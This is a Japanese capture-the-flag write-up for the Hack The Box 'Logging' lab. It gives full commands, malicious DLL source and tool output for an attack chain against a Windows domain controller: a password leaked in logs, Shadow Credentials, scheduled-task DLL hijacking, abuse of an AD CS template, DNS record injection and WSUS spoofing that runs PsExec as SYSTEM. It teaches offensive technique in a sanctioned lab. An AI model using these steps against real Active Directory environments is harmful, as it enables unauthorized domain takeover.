コンテンツにスキップ

HTB Logging writeup

Hack The Box の許可された隔離ラボのみを対象とする、教育目的の技術 Writeup。

LoggingはActive Directory (AD) のDomain Controller上で動くWindows Server 2019の Box です。SMB共有のログに残っていた認証情報を足がかりに、BloodHoundで見つけたGenericWriteからShadow Credentialsを使ってmsa_health$へ移行します。その後、スケジュールタスクが読み込むDLLを差し替えてjaylee.cliftonのuser flagを読み、最後はAD CSのServer Authentication証明書とDNSレコード操作でWindows Server Update Services (WSUS) サーバーをなりすましてSYSTEM権限の更新コマンドを配信します。

ItemValue
BoxLogging
PlatformHack The Box
OSWindows
DifficultyMedium
wallace.everette:Welcome2026@ (初期認証情報)
|
| SMB Logs share
| IdentitySync log: svc_recovery のBindPassを発見
v
svc_recovery:Em3rg3ncyPa$$2026 (Kerberosで利用)
|
| BloodHound: GenericWrite over msa_health$
| Shadow Credentials
v
msa_health$ NTLM:603fc24ee01a9409f83c9d1d701485c5
|
| WinRM PowerShell shell
v
C:\Users\msa_health$\Documents\monitor.ps1
|
| UpdateChecker Agentを調査
| Settings_Update.zipに悪意あるDLLを入れて配置
v
UpdateMonitor.exe -> settings_update.dll -> PreUpdateCheck()
|
| jaylee.cliftonとして実行
v
C:\Users\jaylee.clifton\Desktop\user.txt をコピー
|
| AD CS: UpdateSrv templateでwsus.logging.htb証明書を申請
| DNS: wsus.logging.htb -> attacker IP
v
WSUS spoofing (wsuks + Microsoft-signed PsExec64.exe)
|
| DC01が内部CA発行のTLS証明書を信頼
| 悪意ある更新をSYSTEM権限で実行
v
C:\Users\toby.brynleigh\Desktop\root.txt をコピー
  • Domain: logging.htb
  • Host: DC01.logging.htb

/etc/hostsに以下を追加しました。

10.129.21.74 logging.htb DC01.logging.htb DC01

全ポートを対象にnmapを実行します。

ターミナルウィンドウ
nmap -sS -A -p- --min-rate 10000 10.129.21.74 > logging.nmap

重要な出力は以下です。

PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: logging.htb)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP
3268/tcp open ldap Microsoft Windows Active Directory LDAP
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP
5985/tcp open http Microsoft HTTPAPI httpd 2.0
8530/tcp open http Microsoft IIS httpd 10.0
8531/tcp open ssl/unknown
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0
Device type: general purpose
Running: Microsoft Windows 2019
Service Info: Host: DC01; OS: Windows
Host script results:
|_clock-skew: mean: 6h59m59s
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required

見るべき点:

  • 53, 88, 389, 445, 636, 3268, 3269が開いており、AD Domain Controllerです。
  • 5985が開いているため、資格情報が取れればWinRMで対話できます。
  • 8530/8531はWSUSでよく使われるポートです。WSUSはMicrosoft更新プログラムを内部で配布・承認する仕組みで、後半のroot取得に関係します。
  • SMB signingはrequiredなので、NTLM relay系はそのままでは主経路になりません。
  • clock-skew: +7hが出ています。KerberosでKRB_AP_ERR_SKEWが出る場合は、攻撃端末の時刻同期を疑います。

この Box では、以下の資格情報が初期資格情報として与えられています。

logging.htb\wallace.everette:Welcome2026@

以降のSMB/LDAP列挙はこのアカウントで開始します。

Domain usersを列挙します。

ターミナルウィンドウ
netexec smb 10.129.21.74 -u wallace.everette -p 'Welcome2026@' --users
[+] logging.htb\wallace.everette:Welcome2026@
-Username- -Last PW Set- -BadPW- -Description-
Administrator 2026-04-16 14:41:53 0
Guest <never> 0
krbtgt 2026-04-16 14:47:15 0
svc_recovery 2026-04-16 23:09:49 0
jaylee.clifton 2026-04-16 23:09:49 0
monique.chip 2026-04-16 23:09:49 0
kyson.abel 2026-04-16 23:09:50 0
fable.milford 2026-04-16 23:09:50 0
wellington.kylan 2026-04-16 23:09:50 0
serina.philander 2026-04-16 23:09:50 0
wallace.everette 2026-04-16 23:09:50 0
toby.brynleigh 2026-04-16 23:09:50 0

RID brute forceでは追加のグループやmsa_health$が見えます。

ターミナルウィンドウ
netexec smb 10.129.21.74 -u wallace.everette -p 'Welcome2026@' --rid-brute
2101: logging\Emergency Recovery (SidTypeGroup)
2102: logging\IT (SidTypeGroup)
2103: logging\HR (SidTypeGroup)
2104: logging\svc_recovery (SidTypeUser)
2105: logging\jaylee.clifton (SidTypeUser)
2111: logging\wallace.everette (SidTypeUser)
2112: logging\toby.brynleigh (SidTypeUser)
2113: logging\msa_health$ (SidTypeUser)
2601: logging\WSUS Administrators (SidTypeAlias)
2602: logging\WSUS Reporters (SidTypeAlias)

LDAP group列挙では、Remote Management UsersやEmergency Recoveryなど、後続の権限移行に関係しそうなグループが確認できます。

ターミナルウィンドウ
netexec ldap 10.129.21.74 -u wallace.everette -p 'Welcome2026@' --groups
Remote Management Users 1
Certificate Service DCOM Access 1
Emergency Recovery 1
IT 1
HR 1
WSUS Administrators 0
WSUS Reporters 0

共有を確認します。

ターミナルウィンドウ
netexec smb 10.129.21.74 -u wallace.everette -p 'Welcome2026@' --shares
Share Permissions Remark
----- ----------- ------
ADMIN$ Remote Admin
C$ Default share
IPC$ READ Remote IPC
Logs READ
NETLOGON READ Logon server share
SYSVOL READ Logon server share
WSUSTemp A network share used by Local Publishing from a Remote WSUS Console Instance.

Logs共有が読めるため、まずログファイルを確認します。

ターミナルウィンドウ
smbclient //logging.htb/Logs -U wallace.everette%Welcome2026@
smb: \> dir
Audit_Heartbeat.log
IdentitySync_Trace_20260219.log
Service_State.log
TaskMonitor.log
smb: \> get Audit_Heartbeat.log
smb: \> get IdentitySync_Trace_20260219.log
smb: \> get Service_State.log
smb: \> get TaskMonitor.log

IdentitySync_Trace_20260219.logにLDAP bind用の資格情報が出ています。

ConnectionContext Dump: { Domain: "logging.htb", Server: "DC01", SSL: "False",
BindUser: "LOGGING\svc_recovery", BindPass: "Em3rg3ncyPa$$2025", Timeout: 30 }
...
ERROR - System.DirectoryServices.Protocols.LdapException: A local error occurred.
Server error: 8009030C: LdapErr: DSID-0C090569, comment: AcceptSecurityContext error, data 52e, v4563
Hex Error: 0x31 (LDAP_INVALID_CREDENTIALS)
Win32 Error: 49 (Invalid Credentials)

BindPassとしてEm3rg3ncyPa$$2025が残っていますが、ログ上ではLDAP invalid credentialsになっています。Box 内の初期パスワードがWelcome2026@だったこと、ログや検証時期が2026年であることから、年のサフィックスを更新して2026を試す価値があります。

2025のままSMB認証を試すと失敗しました。

ターミナルウィンドウ
netexec smb 10.129.21.74 -u svc_recovery -p 'Em3rg3ncyPa$$2025'
[-] logging.htb\svc_recovery:Em3rg3ncyPa$$2025 STATUS_ACCOUNT_RESTRICTION

2026に変更するとTGTを取得できました。

ターミナルウィンドウ
uv run getTGT.py 'logging.htb/svc_recovery:Em3rg3ncyPa$$2026'
export KRB5CCNAME=svc_recovery.ccache
[*] Saving ticket in svc_recovery.ccache

この時点で、svc_recoveryとしてKerberos認証を使えるようになります。

追加でProtected Usersグループを確認すると、svc_recoveryとAdministratorがメンバーでした。

ターミナルウィンドウ
ldapsearch -LLL -H ldap://logging.htb \
-D 'wallace.everette@logging.htb' -w 'Welcome2026@' \
-b 'DC=logging,DC=htb' \
'(cn=Protected Users)' member
dn: CN=Protected Users,CN=Users,DC=logging,DC=htb
member: CN=svc_recovery,CN=Users,DC=logging,DC=htb
member: CN=Administrator,CN=Users,DC=logging,DC=htb

BloodHoundでもPROTECTED USERS@LOGGING.HTBのメンバーとしてAdministratorとsvc_recovery@logging.htbを確認しました。Protected UsersはNTLMなどのレガシー認証が制限されるため、svc_recoveryではpassword認証の横展開よりもKerberos TGT/ccacheを使う流れが自然です。一方、後でWinRMに使ったmsa_health$はwhoami /groupsでNT AUTHORITY\NTLM Authenticationが見えており、NTLM hashでの接続が成立しました。

RustHound-CEでAD情報を収集します。

ターミナルウィンドウ
rusthound-ce -d logging.htb -u 'wallace.everette' -p 'Welcome2026@' -c All --zip
[INFO] Connected to LOGGING.HTB Active Directory!
[INFO] 14 users parsed!
[INFO] 65 groups parsed!
[INFO] 1 computers parsed!
[INFO] 1 enterprisecas parsed!
[INFO] 34 certtemplates parsed!
.//20260630053633_logging-htb_rusthound-ce.zip created!

BloodHoundで重要だった関係は以下です。

  • svc_recovery has GenericWrite over msa_health$
  • wallace.everetteはLOGGING-DC01-CAに対してEnroll可能
  • AD CSのEnterprise CAとcertificate templateが存在する

GenericWriteがあるため、msa_health$にShadow Credentialsを追加して、そのアカウントの認証材料を取得できます。

Initial Foothold: Shadow Credentials to msa_health$

Section titled “Initial Foothold: Shadow Credentials to msa_health$”

svc_recoveryのccacheを使い、msa_health$にShadow Credentialsを追加します。

ターミナルウィンドウ
uv run bloodyAD --host DC01.logging.htb -d logging.htb -k --dc-ip 10.129.21.74 -u svc_recovery add shadowCredentials msa_health$
[+] KeyCredential generated with following sha256 of RSA key: b0d65b72d3110a67a03863d1c1acaaa41cbcabc5549ac82c50d2dbb4dfbb128c
[+] TGT stored in ccache file msa_health_Hs.ccache
NT: 603fc24ee01a9409f83c9d1d701485c5

取得したNTLM hashでWinRMに入ります。

ターミナルウィンドウ
uv run evil-winrm-py -i logging.htb -u 'msa_health$' -H '603fc24ee01a9409f83c9d1d701485c5'
[*] Connecting to 'logging.htb:5985' as 'msa_health$'
evil-winrm-py PS C:\Users\msa_health$\Documents> whoami
logging\msa_health$

C:\Usersを見ると、flagを持っていそうなユーザーが確認できます。

ターミナルウィンドウ
ls ../..
Directory: C:\Users
Administrator
jaylee.clifton
msa_health$
Public
toby.brynleigh

msa_health$のDocumentsにmonitor.ps1があります。

ターミナルウィンドウ
dir
more monitor.ps1
Directory: C:\Users\msa_health$\Documents
-a---- 4/17/2026 9:02 AM 1059 monitor.ps1
ターミナルウィンドウ
$TaskName = "UpdateChecker Agent"
$LogPath = "C:\Share\Logs\TaskMonitor.log"
...
$service = New-Object -ComObject "Schedule.Service"
$service.Connect()
$task = $service.GetFolder("\").GetTask($TaskName)
...
Add-Content -Path $LogPath -Value $Message

このスクリプトはUpdateChecker AgentというScheduled Taskの状態を監視しています。タスクの実体をCOM経由で確認します。

ターミナルウィンドウ
$service = New-Object -ComObject "Schedule.Service"
$service.Connect()
$task = $service.GetFolder("\").GetTask("UpdateChecker Agent")
$task.Definition.Actions | ForEach-Object {
[pscustomobject]@{
Type = $_.Type
Path = $_.Path
Arguments = $_.Arguments
WorkingDirectory = $_.WorkingDirectory
}
}
$task.Definition.Principal
Type Path Arguments WorkingDirectory
---- ---- --------- ----------------
0 "C:\Program Files\UpdateMonitor\UpdateMonitor.exe" 500 /scan=3 /autofix=true
Id : Author
UserId : jaylee.clifton
LogonType : 1
RunLevel : 0

UpdateChecker Agentはjaylee.cliftonとしてUpdateMonitor.exeを実行します。確認した挙動では、このプログラムは以下の流れで動きます。

WSUSからSettings_Update.zipをダウンロード
bin\へ展開
LoadLibrary("settings_update.dll")
GetProcAddress("PreUpdateCheck")
PreUpdateCheck()を呼び出す

実際にC:\ProgramData\UpdateMonitor\Logs\monitor.logを見ると、UpdateMonitor.exeはSettings_Update.zipを探し、見つからない場合でもsettings_update.dllをロードしようとして失敗しています。

ターミナルウィンドウ
more C:\ProgramData\UpdateMonitor\Logs\monitor.log
[2026-06-29 14:47:15] Checking for update on core server...
[2026-06-29 14:47:15] Info: Core did not find file Settings_Update.zip
[2026-06-29 14:47:15] Last status: File not found on core
[2026-06-29 14:47:15] Checking for update on local server...
[2026-06-29 14:47:15] No updates found locally: C:\ProgramData\UpdateMonitor\Settings_Update.zip.
[2026-06-29 14:47:15] Loading update applier: C:\Program Files\UpdateMonitor\bin\settings_update.dll
[2026-06-29 14:47:15] Failed to load settings_update.dll. Error code: 126

ここから、Settings_Update.zipにsettings_update.dllを入れてC:\ProgramData\UpdateMonitorへ置けば、正規の更新処理にDLLを展開・ロードさせられると分かります。

関連ACLも確認しています。

output, _, _ = client.execute_ps("icacls 'C:\\Program Files\\UpdateMonitor\\bin'")
print(output)
output, _, _ = client.execute_ps("icacls 'C:\\ProgramData\\UpdateMonitor'")
print(output)
C:\Program Files\UpdateMonitor\bin logging\IT:(I)(OI)(CI)(F)
BUILTIN\Users:(I)(RX)
...
C:\ProgramData\UpdateMonitor NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
BUILTIN\Administrators:(I)(OI)(CI)(F)
BUILTIN\Users:(I)(OI)(CI)(RX)
BUILTIN\Users:(I)(CI)(WD,AD,WEA,WA)

C:\ProgramData\UpdateMonitorにはUsersが書き込み可能です。つまり、Settings_Update.zipを置ければ、タスク実行時にDLLを展開・ロードさせられます。

jaylee.cliftonとして実行されるDLLから、user flagを読み取り可能な場所へコピーします。

settings_update.c
#include <windows.h>
__declspec(dllexport) void PreUpdateCheck() {
CopyFileA("C:\\Users\\jaylee.clifton\\Desktop\\user.txt",
"C:\\ProgramData\\UpdateMonitor\\Logs\\user_flag.txt", FALSE);
}
BOOL APIENTRY DllMain(HMODULE h, DWORD r, LPVOID l) {
return TRUE;
}

DLLをビルドしてzip化します。

ターミナルウィンドウ
i686-w64-mingw32-gcc -shared -static -o settings_update.dll settings_update.c -lkernel32
zip Settings_Update.zip settings_update.dll
adding: settings_update.dll (deflated 64%)

WinRMから配置し、タスク実行を待ちます。

ターミナルウィンドウ
upload Settings_Update.zip "C:\ProgramData\UpdateMonitor\Settings_Update.zip"
icacls C:\ProgramData\UpdateMonitor\Settings_Update.zip /grant 'Everyone:F'
[+] File uploaded successfully as: C:\ProgramData\UpdateMonitor\Settings_Update.zip
processed file: C:\ProgramData\UpdateMonitor\Settings_Update.zip
Successfully processed 1 files; Failed processing 0 files

実行後、コピー先にuser_flag.txtが作成されます。

ターミナルウィンドウ
dir C:\ProgramData\UpdateMonitor\Logs
more C:\ProgramData\UpdateMonitor\Logs\monitor.log
Directory: C:\ProgramData\UpdateMonitor\Logs
-a---- 6/29/2026 2:50 PM 76068 monitor.log
-ar--- 6/29/2026 12:40 PM 34 user_flag.txt
[2026-06-29 14:50:15] Successfully unzipped update to C:\Program Files\UpdateMonitor\bin\
[2026-06-29 14:50:15] Loading update applier: C:\Program Files\UpdateMonitor\bin\settings_update.dll
[2026-06-29 14:50:15] Calling 'PreUpdateCheck' in settings_update.dll
[2026-06-29 14:50:15] Update check completed.

これでC:\Users\jaylee.clifton\Desktop\user.txtの内容をC:\ProgramData\UpdateMonitor\Logs\user_flag.txtとして取得できます。

rootはAD CSとWSUSの組み合わせです。UpdateSrv templateはENROLLEE_SUPPLIES_SUBJECTが有効で、申請者がSubject/SANを指定できます。一方でEKUはServer Authenticationのみで、Client Authenticationはありません。

このため、以下の方針は適しません。

  • PKINITでユーザーとしてKerberos認証する
  • Schannel LDAP certificate mappingでユーザーになりすます

Server Authentication証明書として使うのが自然です。DC01がhttps://wsus.logging.htb:8531/をWSUSとして信頼しているなら、内部CA発行のwsus.logging.htb用TLS証明書、DNSレコード操作、悪意あるWSUSサーバーを組み合わせることで、Windows Update経由のコマンド実行を狙えます。

WSUSはWindows Server Update Servicesの略で、組織内のWindows Update Clientへ更新メタデータや更新ファイルを配布する役割を持ちます。クライアントはGroup Policy/registryで指定されたWUServerへ接続し、HTTPSの場合は証明書の名前と信頼チェーンを検証します。今回のようにwsus.logging.htbのTLS証明書を内部CAから発行でき、さらにDNSを攻撃端末へ向けられると、DC01のWindows Update Clientに「正規のWSUS」として応答できます。

AD CSはcertipy findでも確認しました。

ターミナルウィンドウ
certipy find -u 'wallace.everette@logging.htb' -p 'Welcome2026@' \
-dc-ip 10.129.21.74 -target DC01.logging.htb \
-enabled -stdout
Certificate Authorities
0
CA Name : logging-DC01-CA
DNS Name : DC01.logging.htb
Web Enrollment
HTTP
Enabled : False
HTTPS
Enabled : False
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Permissions
Access Rights
Enroll : LOGGING.HTB\Authenticated Users
Certificate Templates
0
Template Name : UpdateSrv
Display Name : UpdateSrv
Certificate Authorities : logging-DC01-CA
Enabled : True
Client Authentication : False
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Extended Key Usage : Server Authentication
Requires Manager Approval : False
Authorized Signatures Required : 0
Minimum RSA Key Length : 2048
Permissions
Enrollment Permissions
Enrollment Rights : LOGGING.HTB\IT
LOGGING.HTB\Domain Admins
LOGGING.HTB\Enterprise Admins

この出力から、CA自体はAuthenticated UsersにEnrollを許可しており、UpdateSrv templateはLOGGING.HTB\ITにEnrollを許可していることが分かります。UpdateChecker Agentはjaylee.cliftonとして実行され、前段のACLでもlogging\ITがUpdateMonitor\binにFullControlを持っていました。したがって、jaylee.cliftonの実行コンテキストからcertreqでUpdateSrv証明書を申請する流れと整合します。

WSUS設定と実行コンテキストの確認

Section titled “WSUS設定と実行コンテキストの確認”

msa_health$のトークンを見ると、WinRM接続に必要なRemote Management Usersや、証明書関連のCertificate Service DCOM Accessに入っています。

ターミナルウィンドウ
whoami
whoami /groups
whoami /priv
logging\msa_health$
Group Name Type SID Attributes
=========================================== ================ ============================================= ==================================================
logging\Domain Computers Group S-1-5-21-4020823815-2796529489-1682170552-515 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Certificate Service DCOM Access Alias S-1-5-32-574 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

Windows Updateサービス (wuauserv) の状態と、WSUSのregistry設定も確認します。

ターミナルウィンドウ
cmd /c "sc.exe query wuauserv"
reg query "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate"
SERVICE_NAME: wuauserv
TYPE : 30 WIN32
STATE : 2 START_PENDING
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
AcceptTrustedPublisherCerts REG_DWORD 0x1
WUServer REG_SZ https://wsus.logging.htb:8531
WUStatusServer REG_SZ https://wsus.logging.htb:8531
UpdateServiceUrlAlternate REG_SZ https://wsus.logging.htb:8531
SetProxyBehaviorForUpdateDetection REG_DWORD 0x0

これで、DC01のWindows Update Clientがhttps://wsus.logging.htb:8531を参照していることが確認できます。

まず秘密鍵とCSRを作成します。

ターミナルウィンドウ
openssl genrsa -out wsus.key 2048
cat > wsus_csr.cnf << 'EOF'
[req]
default_bits = 2048
prompt = no
default_md = sha256
distinguished_name = dn
req_extensions = v3_req
[dn]
CN = wsus.logging.htb
[v3_req]
subjectAltName = DNS:wsus.logging.htb
1.3.6.1.4.1.311.21.7 = ASN1:SEQUENCE:template_info
[template_info]
templateID = OID:1.3.6.1.4.1.311.21.8.12353791.10602463.14107544.5621390.7746408.154.13283525.179965
templateMajorVersion = INTEGER:100
templateMinorVersion = INTEGER:3
EOF
openssl req -new -key wsus.key -out wsus.csr -config wsus_csr.cnf

途中で self-signed certificate も生成していますが、攻撃で必要なのは内部CAが発行した証明書です。最終的なwsus.pemには、後で取得するCA署名済みwsus.cerとwsus.keyを結合します。

UpdateMonitor経由でcertreqを実行する

Section titled “UpdateMonitor経由でcertreqを実行する”

CSRをターゲットに置き、jaylee.cliftonとして実行されるDLLからcertreqを呼び出します。

ターミナルウィンドウ
upload wsus.csr "C:\ProgramData\UpdateMonitor\wsus.csr"
icacls C:\ProgramData\UpdateMonitor\wsus.csr /grant 'Everyone:F'
Uploading wsus.csr: 100%
[+] File uploaded successfully as: C:\ProgramData\UpdateMonitor\wsus.csr
processed file: C:\ProgramData\UpdateMonitor\wsus.csr
Successfully processed 1 files; Failed processing 0 files

DLLは以下のようにします。

settings_update.c
#include <windows.h>
#include <stdlib.h>
__declspec(dllexport) void PreUpdateCheck() {
system("certreq -submit -config \"DC01.logging.htb\\logging-DC01-CA\" "
"-attrib \"CertificateTemplate:UpdateSrv\" "
"C:\\ProgramData\\UpdateMonitor\\wsus.csr "
"C:\\ProgramData\\UpdateMonitor\\wsus.cer");
}
BOOL APIENTRY DllMain(HMODULE h, DWORD r, LPVOID l) { return TRUE; }

ビルドして再度Settings_Update.zipとして配置します。

ターミナルウィンドウ
i686-w64-mingw32-gcc -shared -static -o settings_update.dll settings_update.c -lkernel32
zip Settings_Update.zip settings_update.dll
ターミナルウィンドウ
upload Settings_Update.zip "C:\ProgramData\UpdateMonitor\Settings_Update.zip"
icacls C:\ProgramData\UpdateMonitor\Settings_Update.zip /grant 'Everyone:F'
icacls C:\ProgramData\UpdateMonitor\wsus.csr /grant 'Everyone:F'

タスク実行後、certreqによりC:\ProgramData\UpdateMonitor\wsus.cerが作られます。

ターミナルウィンドウ
download C:\ProgramData\UpdateMonitor\wsus.cer wsus.cer
[+] File downloaded successfully and saved as: wsus.cer

wsus.logging.htbを攻撃端末のVPN IPへ向けます。

AD-integrated DNSでは、DNS zoneやrecordがADオブジェクトとしてDomainDnsZones配下に保存されます。logging.htb zoneのDACLを読むと、Authenticated UsersにCreateChildが付与されていました。

ターミナルウィンドウ
impacket-dacledit -action read \
-target-dn 'DC=logging.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=logging,DC=htb' \
'logging.htb/wallace.everette:Welcome2026@' \
-dc-ip 10.129.21.74
[*] Parsing DACL
[*] Printing parsed DACL
[*] ACE[0] info
[*] Access mask : FullControl (0xf01ff)
[*] Trustee (SID) : Domain Admins
[*] ACE[1] info
[*] Access mask : CreateChild (0x1)
[*] Trustee (SID) : Authenticated Users (S-1-5-11)
[*] ACE[2] info
[*] Access mask : Read (0x20094)
[*] Trustee (SID) : Everyone (S-1-1-0)
[*] ACE[5] info
[*] Access mask : WriteOwner, WriteDACL, ReadControl, Delete, AllExtendedRights, DeleteTree, WriteProperties, ReadProperties, Self, ListChildObjects, DeleteChild, CreateChild (0xf017f)
[*] Trustee (SID) : DnsAdmins

wallace.everetteはAuthenticated Usersとして認証済みなので、このzone配下にwsus child recordを作成できます。これがbloodyAD add dnsRecordが成功した理由です。

ターミナルウィンドウ
bloodyAD -d logging.htb -H DC01.logging.htb -i 10.129.21.74 \
-u wallace.everette -p 'Welcome2026@' add dnsRecord wsus 10.10.16.45
[+] Adding "wsus" to "DC=logging.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=logging,DC=htb"
[+] wsus has been successfully added

名前解決を確認します。

ターミナルウィンドウ
nslookup wsus.logging.htb 10.129.21.74
Name: wsus.logging.htb
Address: 10.10.16.45

取得した証明書と秘密鍵を結合します。

ターミナルウィンドウ
cat wsus.cer wsus.key > wsus.pem

wsuksでWSUSサーバーを立てます。ここではMicrosoft署名済みのPsExec64.exeを配信し、SYSTEM権限でroot flagを読み取れる場所へコピーします。

ターミナルウィンドウ
sudo env "PATH=$PATH" wsuks --serve-only --tls-cert wsus.pem -I tun0 \
-e PsExec64.exe \
-c '-accepteula -s cmd.exe /c "type C:\Users\toby.brynleigh\Desktop\root.txt > C:\ProgramData\UpdateMonitor\root.txt"' \
--debug

重要な点として、PsExec64.exeはMicrosoft署名済みのものを使う必要があります。取得元はhttps://live.sysinternals.com/です。

代表出力です。

[+] Command to execute:
PsExec64.exe -accepteula -s cmd.exe /c "type C:\Users\toby.brynleigh\Desktop\root.txt > C:\ProgramData\UpdateMonitor\root.txt"
[*] Using TLS certificate 'wsus.pem' for HTTPS WSUS Server
[*] Starting WSUS Server on 10.10.16.45:8531...
[*] Serving executable as KB: 2146576
[+] Received POST request: /ClientWebService/client.asmx
[+] Received GET request: /3f35eca4-1a82-4ffe-b2a4-2ff80abfcbd4/PsExec64.exe
[+] GET request for exe: /3f35eca4-1a82-4ffe-b2a4-2ff80abfcbd4/PsExec64.exe

ログ中には最初のRange requestでConnectionResetErrorも出ています。

ConnectionResetError: [Errno 104] Connection reset by peer
...
[+] Received GET request: /3f35eca4-1a82-4ffe-b2a4-2ff80abfcbd4/PsExec64.exe
Range: bytes=0-833471

これは最初の小さいRange requestが切断されたもので、後続のフルレンジ取得が来ているため、それだけで失敗とは判断しません。最終確認として、WinRM側でコピー先を読みます。

ターミナルウィンドウ
dir C:\ProgramData\UpdateMonitor\
type C:\ProgramData\UpdateMonitor\root.txt
Directory: C:\ProgramData\UpdateMonitor
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 6/29/2026 2:50 PM Logs
-a---- 6/29/2026 4:41 PM 34 root.txt
-a---- 6/29/2026 3:39 PM 28619 Settings_Update.zip
-a---- 6/29/2026 4:39 PM 21 whoami.txt
-a---- 6/29/2026 3:44 PM 2318 wsus.cer
-a---- 6/29/2026 3:39 PM 1050 wsus.csr
-a---- 6/29/2026 3:44 PM 5526 wsus.rsp
[REDACTED]

wsuksがうまく動かない場合は、まずWindows Update Clientが攻撃端末のWSUSへTCP/TLSレベルで到達しているかを確認します。

ターミナルウィンドウ
sudo tcpdump -ni tun0 port 8531

期待する流れは以下です。

Windows Update Client
|
| SYN
v
WSUS Server
SYN
SYN/ACK
ACK
TLS Handshake
POST /ClientWebService/client.asmx

切り分けは次のように考えます。

状態疑う箇所
SYNが来ないDNS、WSUS設定、Windows Updateの起動状態、Firewall
SYNだけ来てTLSへ進まないHTTPS証明書、TLS設定、8531の待受
SOAP通信まで進むDNS/HTTPS/WSUS/SOAPは概ね正常。以降はWSUSサーバ側ログを読む

WSUS通信としては、以下が見えていれば通信フェーズはかなり進んでいます。

GetConfig
GetCookie
SyncUpdates
GetExtendedUpdateInfo
GET PsExec64.exe
ReportEventBatch

この段階まで来ているなら、問題はDNSやTLSよりも、配信する実行ファイル、Authenticode署名、CommandLineInstallation、PsExec64.exeの引数など、実行フェーズに寄っていると考えます。

ツール選択も実行フェーズの切り分けに関係します。別コメントでは、pywsusはメタデータ同期までは扱えても、最近のWindows Update Clientのダウンロード段階で詰まる場合があり、HTTPSと更新配信まで通すにはwsuksの方が適していた、という知見がありました。これは同一条件で直接比較した証跡ではないため一般化は避けますが、本 Box ではwsuks --serve-only --tls-cert wsus.pemで配信まで進めています。

権限が足りず、ターゲット上で以下のWindows Update Clientイベントログを読めないことがあります。

Microsoft-Windows-WindowsUpdateClient/Operational

その場合でも、Windows Update ClientはWSUSへイベントを送ります。

POST /ReportingWebService/ReportingWebService.asmx

そのため、ReportEventBatchのSOAP bodyを読むと、イベントビューアの代替として更新処理がどこまで進んだかを推測できます。今回のEventID解釈はデバッグ時の推測として扱います。

EventID意味の推測
147更新開始
156対象更新選択
167Bundle認識
162ダウンロード開始
181ダウンロード完了
182インストール完了
183インストール成功・適用完了

理想的には次の順で進めば、更新処理は最後まで到達したと判断できます。

147
↓
156
↓
167
↓
162
↓
181
↓
182
↓
183

失敗時には0x80246007が返り、イベントが以下の程度で止まりました。

147
156
167
161
182

この状態では、WSUS通信はできていても、インストール成功・適用完了までは進んでいないと見ます。Linuxではjournalctlでサービスログを見ることが多いですが、Windowsでは権限不足でイベントビューアを読めない場面があります。WSUS攻撃ではReportEventBatchがその代替の観測点になります。

  • svc_recoveryのログ内パスワードはEm3rg3ncyPa$$2025ですが、そのままでは使えません。ログの年、初期パスワードの年パターン、LDAP invalid credentialsを根拠に2026を試すのが分岐点でした。
  • UpdateSrv templateはServer Authentication EKUのみです。Client Authenticationがないため、PKINITでユーザー認証に使う方向は主経路ではありません。
  • wsuksのConnectionResetErrorは単独では失敗証跡ではありません。後続のGET、またはコピー先ファイルの有無で判断します。
  • C:\Program Files\UpdateMonitor\binへの直接書き込みではなく、C:\ProgramData\UpdateMonitor\Settings_Update.zipを置いて、正規タスクの展開処理にロードさせるのが安定した経路です。
  • UpdateMonitorはLoadLibraryでDLLをロードします。複数回タスクを実行するとDLLがロックされ、差し替えに失敗する可能性があります。再試行時はマシンリセット、初回実行前のzip差し替え、または短い実行間隔の中でDLL名を変えるなどの回避が必要になる場合があります。
  • root.txtは必ずAdministratorのDesktopにあるとは限りません。この Box ではC:\Users\toby.brynleigh\Desktop\root.txtを読みに行っています。

演習後に戻すべきものです。

  • msa_health$へ追加したShadow Credential (msDS-KeyCredentialLink)
  • DNS record: wsus.logging.htb -> 10.10.16.45
  • C:\ProgramData\UpdateMonitor\Settings_Update.zip
  • C:\ProgramData\UpdateMonitor\wsus.csr
  • C:\ProgramData\UpdateMonitor\wsus.cer
  • C:\ProgramData\UpdateMonitor\root.txt
  • C:\ProgramData\UpdateMonitor\Logs\user_flag.txt
  • 展開されたC:\Program Files\UpdateMonitor\bin\settings_update.dll
  • 攻撃端末側のwsus.key, wsus.csr, wsus.cer, wsus.pem, Settings_Update.zip, settings_update.dll, PsExec64.exe

Shadow Credentialは同じツールで削除するか、変更前のmsDS-KeyCredentialLinkへ戻します。DNS recordも削除して、WSUS名前解決が攻撃端末へ向かない状態に戻します。

種別値
Domainlogging.htb
DCDC01.logging.htb / 10.129.21.74
Initial userlogging.htb\wallace.everette
Initial passwordWelcome2026@
Recovered userlogging.htb\svc_recovery
Recovered passwordEm3rg3ncyPa$$2026
Shadow Credentials targetlogging.htb\msa_health$
msa_health$ NTLM603fc24ee01a9409f83c9d1d701485c5
User flag pathC:\Users\jaylee.clifton\Desktop\user.txt
User flag copyC:\ProgramData\UpdateMonitor\Logs\user_flag.txt
Root flag pathC:\Users\toby.brynleigh\Desktop\root.txt
